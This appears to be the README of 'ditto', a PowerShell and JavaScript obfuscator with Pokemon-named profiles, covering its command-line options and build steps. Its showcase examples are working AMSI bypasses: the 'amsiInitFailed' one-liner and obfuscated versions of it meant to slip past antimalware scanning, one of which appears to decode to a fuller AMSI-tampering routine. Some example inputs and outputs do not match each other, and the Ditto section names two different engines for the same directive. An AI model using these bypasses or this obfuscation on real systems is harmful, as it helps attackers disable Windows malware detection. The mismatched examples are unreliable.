ditto

Powershell Obfuscator

Ditto is a Powershell and JavaScript obfuscator base on tree-sitter-powershell and tree-sitter-javascript.

Command Line Usage

Basic Command Structure

ditto-cli [options]

CLI Arguments & Options

Short Option	Long Option	Description
-h	--help	Display help information and exit.
-v	--version	Display version information and exit.
-p	--path	Path to the script file to process.
-i	--impostor	Impostor profile to use for obfuscation (case-insensitive).
-L	--list	List all available impostor profiles.
-t	--time	Show computation time taken for the obfuscation process.
-d	--debug-level	Debug level. Options: off, error, warn, info, debug, trace (Default: info).
-q	--quiet	Only output the final obfuscated script, suppressing all other logs.

Supported Languages & Impostors

Each language comes equipped with distinctive, Pokemon-themed Impostors. An impostor is a named recipe that chains several obfuscation passes together. Each one favours a different mix of techniques, so the same script obfuscated by two impostors looks nothing alike. Pick the one whose trade-off (stealth, size, readability, reversing difficulty) fits your needs.

PowerShell

Impostor	What it does
Pikachu	The all-rounder mascot. Converts literals to static strings, rewrites cmdlets and type members as strings, Base64-encodes strings, splits integers with inline modulo/hexlify, and renames variables randomly. A balanced default.
Bulbasaur	Entry-level starter. String/cmdlet/member rewriting, Base64 encoding, random variable names, and integers rebuilt via a reversed-modulo trick. Light and readable-ish.
Ivysaur	Bulbasaur's evolution. Same base recipe but variables are named after PowerShell verbs (${Set-...}, ${Add-...}, ${Remove-...}) to blend in with legitimate code, plus inline hexlify and modulo-reverse integers.
Charizard	The heavy hitter. Static strings, Base64, randomized inline modulo/hexlify, member-as-string, modulo-reverse integers, and randomized variable names and types stacked together for aggressive obfuscation.
Alakazam	The math brain. Pre-computes every boolean and integer into arithmetic expressions, breaks invocation expressions apart, and turns cmdlets, members and types into strings. Produces dense, expression-heavy output.
Onix	The array specialist. Stores tokens in constant arrays, shuffles them, hexlifies via foreach, and rebuilds every integer through XOR/add arithmetic evaluated at runtime.
Eevee	The renamer. Randomly renames all functions, parameters and variables, rewrites cmdlets/members as strings, and assigns UUID-style and verb-style names with wildcard masking. Focused on identifier obfuscation.
Ditto	The mimic — a meta-impostor. Instead of transforming the whole file, it scans the source for # ditto(<engine>) comments and applies the named engine only to the statement that immediately follows the comment. This lets you mix impostors within a single script. See Selective obfuscation with Ditto.

JavaScript

Impostor	What it does
Tinkatuff	The well-rounded default. Rewrites member accesses as subscripts, occasionally converts expressions to switch/if-else, turns numbers into math expressions, and encodes/splits/escapes strings and identifiers. Good balance of coverage and size.
Unown	The symbol cipher. Encodes numbers, strings, booleans, specials and default objects with JSFuck-style tricks and renames identifiers using only $ and _. Output is nearly unreadable.
Metagross	"Wait, it's all numbers?" Turns strings into fromCharCode, rewrites every number as an expression, and renames all identifiers to number-like names. The output is almost entirely digits.
Wailord	The whale. Produces a massive output (average expansion ratio ~4643x). Only use it on small scripts — it stacks bubble-named identifiers, string splitting, JSFuck numbers and array transforms.
Clefable	The gambler. Randomly picks among all available passes so you get a comparatively "small" output that still carries every kind of protection. A reverser has to handle every possible pass. Because passes are chosen at random and can interfere, you may need to run it a few times.
Cofagrigus	The tomb. Renames identifiers with Egyptian-hieroglyph names, encodes strings, rewrites numbers as expressions, and applies string/number "curse" transforms. Eerie, dense, and hard to read.

List all available impostors directly from your shell:

ditto-cli --list

Don't hesitate to add yours ! And then you can invoke the one you want.

Examples

PowerShell Transformation (Ivysaur Impostor)

Original PowerShell Script:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

Obfuscation Command:

ditto-cli --path test.ps1 --impostor ivysaur

Obfuscated Output:

${Set-mK6} = 1; ${Add-xjQ} = 12; ${Remove-ScJ} = 8; ${Find-V7v} = 7; ${Get-wCX} = 4; ${Set-JEp} = 9; ${Add-3eV} = 16; ${Remove-pIQ} = 52; ${Find-OHR} = 24; ${Get-r4u} = 9076; ${Set-t49} = 89; ${Add-Qvs} = 87; ${Remove-qwO} = 49; ${Find-SMs} = 122; ${Get-wUj} = 97; ${Set-Ox3} = 86; ${Add-VQ5} = 78; ${Remove-EeM} = 108; ${Find-gzG} = 99; ${Get-LGX} = 51; ${Set-X5g} = 112; ${Add-GD5} = 98; ${Remove-aho} = 50; ${Find-3Zs} = 61; ${Get-ihU} = 85; ${Set-nKM} = 100; ${Add-GWd} = 71; ${Remove-Tvm} = 116; ${Find-7ba} = 76; ${Get-oeb} = 107; ${Set-Vxt} = 104; ${Add-rmz} = 109; ${Remove-Fsk} = 70; ${Find-jz5} = 110; ${Get-2TD} = 90; ${Set-TIQ} = 81; ${Add-Ru7} = 117; ${Remove-4HR} = 88; ${Find-T8S} = 48; ${Get-n8s} = 118; ${Set-mmg} = 105; ${Add-PZ1} = 53; ${Remove-xzI} = 66; ${Find-LRq} = 82; ${Get-MFU} = 72; ${Set-W0e} = 77; ${Add-bvf} = 84; ${Remove-3nx} = 57; ${Find-e43} = 106; ${Get-88G} = 119; $f8XP9 = [System.Runtime.InteropServices.Marshal]; $ifXoW = [Ref]; $lgnLf = [System.Text.Encoding]; $Knr3E = [System.Convert]; ${Set-cfudY9iG} = -join 'labolGHcollA'[-${Set-mK6}..-${Add-xjQ}]; ${Add-q3RPK0Xu} = -join 'ylbmessA'[-${Set-mK6}..-${Remove-ScJ}]; ${Remove-50AhxHbh} = -join 'epyTteG'[-${Set-mK6}..-${Find-V7v}]; ${Find-VOSaUhQS} = -join '8FTU'[-${Set-mK6}..-${Get-wCX}]; ${Get-w0xewYE7} = -join 'gnirtSteG'[-${Set-mK6}..-${Set-JEp}]; ${Set-2rZQYi7O} = -join 'gnirtS46esaBmorF'[-${Set-mK6}..-${Add-3eV}]; ${Add-nottCZwE} = -join '=MHbpRXVpNXbB5ibvlGdh12b0VXQuQnbl1WZnFmbh1kLtVGdzl3U'[-${Set-mK6}..-${Remove-pIQ}]; ${Remove-b45sz9Zn} = -join 'dleiFteG'[-${Set-mK6}..-${Remove-ScJ}]; ${Find-mUeEbv73} = -join '==wYpRXY0NFLjlGbiVHUu9mT'[-${Set-mK6}..-${Find-OHR}]; ${Get-hbkDceRb} = -join 'eulaVteS'[-${Set-mK6}..-${Remove-ScJ}]; ${Set-1zjqeqJt} = -join '=QHelRnbvNUaz1WY'[-${Set-mK6}..-${Add-3eV}]; $mem = $f8XP9::${Set-cfudY9iG}(${Get-r4u});$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Add-nottCZwE})))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Set-t49} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Find-SMs} + [char]${Get-wUj} + [char]${Set-Ox3} + [char]${Add-VQ5} + [char]${Remove-EeM} + [char]${Find-gzG} + [char]${Get-LGX} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-pIQ} + [char]${Find-3Zs})))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Find-mUeEbv73})))).${Get-hbkDceRb}($null, $null);$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Get-ihU} + [char]${Get-LGX} + [char]${Remove-EeM} + [char]${Find-SMs} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Set-Ox3} + [char]${Remove-Tvm} + [char]${Find-7ba} + [char]${Get-oeb} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Add-GD5} + [char]${Add-rmz} + [char]${Remove-Fsk} + [char]${Find-jz5} + [char]${Get-2TD} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Remove-EeM} + [char]${Add-GD5} + [char]${Find-jz5} + [char]${Set-TIQ} + [char]${Add-Ru7} + [char]${Set-TIQ} + [char]${Remove-4HR} + [char]${Set-Ox3} + [char]${Find-T8S} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Get-n8s} + [char]${Add-GD5} + [char]${Set-mmg} + [char]${Add-PZ1} + [char]${Remove-xzI} + [char]${Add-GD5} + [char]${Remove-4HR} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Set-Ox3} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Get-MFU} + [char]${Set-W0e} + [char]${Find-3Zs}))))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Set-1zjqeqJt}))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Add-bvf} + [char]${Add-rmz} + [char]${Remove-3nx} + [char]${Add-Ru7} + [char]${Get-ihU} + [char]${Get-MFU} + [char]${Set-Ox3} + [char]${Set-mmg} + [char]${Add-GD5} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Find-e43} + [char]${Find-7ba} + [char]${Remove-Fsk} + [char]${Add-VQ5} + [char]${Find-T8S} + [char]${Set-t49} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Set-t49} + [char]${Get-88G} + [char]${Find-3Zs} + [char]${Find-3Zs}))))).${Get-hbkDceRb}($null, [IntPtr]$mem)

JavaScript Transformation (Tinkatuff Impostor)

Original JS Script:

function greet(user) {
    console.log("Hello, " + user + "!");
}

greet("World");

Obfuscation Command:

ditto-cli --path test.js --impostor Tinkatuff

Obfuscated Output:

function \u0067\u0072\u0065e\u0074(\u0075\u0073\u0065\u0072) {
    \u0063\u006F\u006E\u0073\u006Fle[\u0061\u0074\u006F\u0062((\u0053\u0074r\u0069\u006E\u0067('\x62\u0047') + '\x39\x52\u{00000039}h\u0041\u0062\u{000037}\u003739\x6E\u{0000033}\u0036n'.\u0072\u0065\u0070\u006C\u0061c\u0065\u0041l\u006C(/R9hAb\d{3}9n36/g, '')))](de\u0063\u006F\u0064\u0065\u0055\u0052I\u0043o\u006Dp\u006F\u006E\u0065n\u0074((\u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%48` + '\u{00000025}\x0D\n'.\u0074\u0072im\u0045\u006E\u0064() + ['6\u{000035}', '\x25'].\u006Aoi\u006E('') + '\x36'.\u0074\u006F\u0053\u0074\u0072i\u006E\u0067() + '\u{0000043}%\u0036' + ''.\u006C\u0069n\u006B('C\u0025\x36').\u0073\u006C\u0069\u0063e(9, -6) + new \u0053\u0074\u0072\u0069n\u0067('\u0046\u0025').\u0076\u0061\u006C\u0075\u0065O\u0066() + '\r\u{000000A}\u0032C\x25\u{00000D}\t'.\u0074\u0072\u0069m() + '20'.\u0074r\u0069m\u0045\u006E\u0064())) + \u0075\u0073\u0065\u0072 + \u0064\u0065c\u006F\u0064\u0065\u0055\u0052I((\u0053\u0074r\u0069n\u0067.r\u0061\u0077`%` + '\n\u0020\u{00000020}\x321'.\u0074\u0072\u0069m\u0053tar\u0074())));
}

\u0067\u0072eet(\u0064\u0065c\u006F\u0064\u0065\u0055RI\u0043\u006Fm\u0070\u006Fn\u0065\u006E\u0074(('\u{0000025}\u{0000035}' + '\u{00000037}\u{00025}\n\x0A\u0009\u000A'.t\u0072\u0069\u006D\u0045n\u0064() + '6\u0046%' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0066\u0072\u006F\u006DCh\u0061\u0072\u0043\u006Fd\u0065(55) + '\u{000032}'.\u0062\u0069\u0067().sl\u0069\u0063\u0065(5, -6) + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061w`%6` + '\u{000043}' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%6` + '4')));

Selective obfuscation with Ditto

The Ditto impostor doesn't obfuscate the whole file. It looks for directive comments of the form # ditto(<engine>) and applies the named engine to the single statement right after the comment. Everything else is left untouched, and the directive comment itself is removed from the output. This is handy when you only want to hide sensitive parts of a script, or mix several engines in one file.

Original PowerShell Script:

Write-Host "starting"

# ditto(pikachu)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

Write-Host "done"

Obfuscation Command:

ditto-cli --path test.ps1 --impostor ditto

Obfuscated Output:

Write-Host "starting"

$WRL6c=109;$DDjV=56;$pjWqV8=86;$r8cnDa=108;$wAD=101;$xtYSTM=50;$IHnFn=51;$787F0=122;$qWcmH0=65;$LgjuIE=77;$ial=52;$kVfXz=103;$gI9H6=104;$E3qM=97;$4Tr4=105;$empCP=117;$KA4XB=89;$TeXxjO=53;$t7IyYw=54;$ogg=114;$pDD=57;$dQXaf=81;$iTBnE=61;$IBf=48;$GUy=71;$cbVM=110;$biGF=85;$Z7Pn=106;$vcF=87;$oqzy3=72;$37C=118;$suPWLN=112;$1Ywq0M=83;$KI9h=119;$B3fd=70;$IScvzV=90;$oveAB=88;$p6TMv=84;$zj7E=98;$wUzL=111;$ToF=107;$Sd0Ozk=100;$AtZ=49;$qeyQOw=121;$NAX=115;$QsySk=82;$Zqk=66;$QYl36=78;$LHhAV=76;$DJp=116;$Rz89sj=([char]$KA4XB+[char]$vcF+[char]$AtZ+[char]$787F0+[char]$E3qM+[char]$biGF+[char]$r8cnDa+[char]$empCP+[char]$E3qM+[char]$oveAB+[char]$QsySk+[char]$GUy+[char]$KA4XB+[char]$vcF+[char]$r8cnDa+[char]$NAX+[char]$IScvzV+[char]$vcF+[char]$dQXaf+[char]$iTBnE);$TNP=([char]$qWcmH0+[char]$NAX+[char]$NAX+[char]$wAD+[char]$WRL6c+[char]$zj7E+[char]$r8cnDa+[char]$qeyQOw);$rF2B=([char]$biGF+[char]$p6TMv+[char]$B3fd+[char]$DDjV);$0xJaev=([char]$GUy+[char]$wAD+[char]$DJp+[char]$p6TMv+[char]$qeyQOw+[char]$suPWLN+[char]$wAD);$vpg=([char]$B3fd+[char]$ogg+[char]$wUzL+[char]$WRL6c+[char]$Zqk+[char]$E3qM+[char]$NAX+[char]$wAD+[char]$t7IyYw+[char]$ial+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);$ISW=([char]$p6TMv+[char]$WRL6c+[char]$pDD+[char]$empCP+[char]$biGF+[char]$oqzy3+[char]$pjWqV8+[char]$4Tr4+[char]$zj7E+[char]$GUy+[char]$r8cnDa+[char]$Z7Pn+[char]$LHhAV+[char]$B3fd+[char]$QYl36+[char]$IBf+[char]$KA4XB+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$KA4XB+[char]$KI9h+[char]$iTBnE+[char]$iTBnE);$wiiSIm=([char]$biGF+[char]$IHnFn+[char]$r8cnDa+[char]$787F0+[char]$Sd0Ozk+[char]$GUy+[char]$pjWqV8+[char]$DJp+[char]$LHhAV+[char]$ToF+[char]$AtZ+[char]$gI9H6+[char]$zj7E+[char]$WRL6c+[char]$B3fd+[char]$cbVM+[char]$IScvzV+[char]$vcF+[char]$AtZ+[char]$r8cnDa+[char]$zj7E+[char]$cbVM+[char]$dQXaf+[char]$empCP+[char]$dQXaf+[char]$oveAB+[char]$pjWqV8+[char]$IBf+[char]$zj7E+[char]$xtYSTM+[char]$AtZ+[char]$gI9H6+[char]$Sd0Ozk+[char]$GUy+[char]$r8cnDa+[char]$37C+[char]$zj7E+[char]$4Tr4+[char]$TeXxjO+[char]$Zqk+[char]$zj7E+[char]$oveAB+[char]$QYl36+[char]$suPWLN+[char]$pjWqV8+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$zj7E+[char]$oqzy3+[char]$LgjuIE+[char]$iTBnE);$en3=([char]$GUy+[char]$wAD+[char]$DJp+[char]$B3fd+[char]$4Tr4+[char]$wAD+[char]$r8cnDa+[char]$Sd0Ozk);$rlIe=([char]$1Ywq0M+[char]$wAD+[char]$DJp+[char]$pjWqV8+[char]$E3qM+[char]$r8cnDa+[char]$empCP+[char]$wAD);$lmq=([char]$GUy+[char]$wAD+[char]$DJp+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);${NBX}=[Ref];${Q6V}=[System.Text.Encoding];${93J9}=[System.Convert];${NBX}.$TNP.$0xJaev((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($wiiSIm)))).$en3((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($Rz89sj))), (${Q6V}::$rF2B.$lmq(${93J9}::$vpg($ISW)))).$rlIe($null, $true)

Write-Host "done"

Only the line following # ditto(ivysaur) is obfuscated (with the Ivysaur engine); the two Write-Host calls stay as-is.

Building from Source

1. Clone the repository
2. Install rust with cargo
3. Build the project

cargo build --release --bin ditto-cli  

After building, you'll find the binary in ./target/release/

Running from sources

1. Clone the repository
2. Install rust with cargo
3. Run the project

cargo run --release --bin ditto-cli -- {args goes here}